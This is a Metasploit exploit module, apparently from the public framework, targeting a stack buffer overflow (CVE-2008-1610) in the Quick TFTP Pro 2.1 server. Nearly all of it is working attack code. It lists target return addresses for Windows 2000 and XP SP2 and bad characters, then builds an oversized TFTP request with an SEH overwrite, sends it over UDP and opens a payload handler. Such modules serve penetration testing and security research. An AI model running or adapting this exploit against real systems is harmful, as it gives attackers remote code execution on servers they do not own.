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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the Quick TFTP Pro server
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          product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
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          in a DoS.  This is a port of a sploit by Mati "muts" Aharoni.
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        },
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        'Author' => 'Saint Patrick',
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        'References' => [
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          ['CVE', '2008-1610'],
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          ['OSVDB', '43784'],
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          ['BID', '28459'],
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          ['URL', 'http://web.archive.org/web/20080330000001/http://secunia.com:80/advisories/29494/'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 460,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Windows Server 2000', { 'Ret' => 0x75022AC4 } ], # ws2help.dll
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          ['Windows XP SP2', { 'Ret' => 0x74D31458 } ], # oledlg.dll
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        ],
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        'DefaultTarget' => 1,
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        'DisclosureDate' => '2008-03-27',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(69)
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      ]
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    )
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  end
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  def exploit
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    connect_udp
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    print_status("Trying target #{target.name}...")
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    sploit = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
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    sploit += "A" * 1019
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    seh = generate_seh_payload(target.ret)
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    sploit += seh
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    sploit += "\x00"
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    udp_sock.put(sploit)
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    print_status("Done.")
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    handler
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    disconnect_udp
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  end
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end
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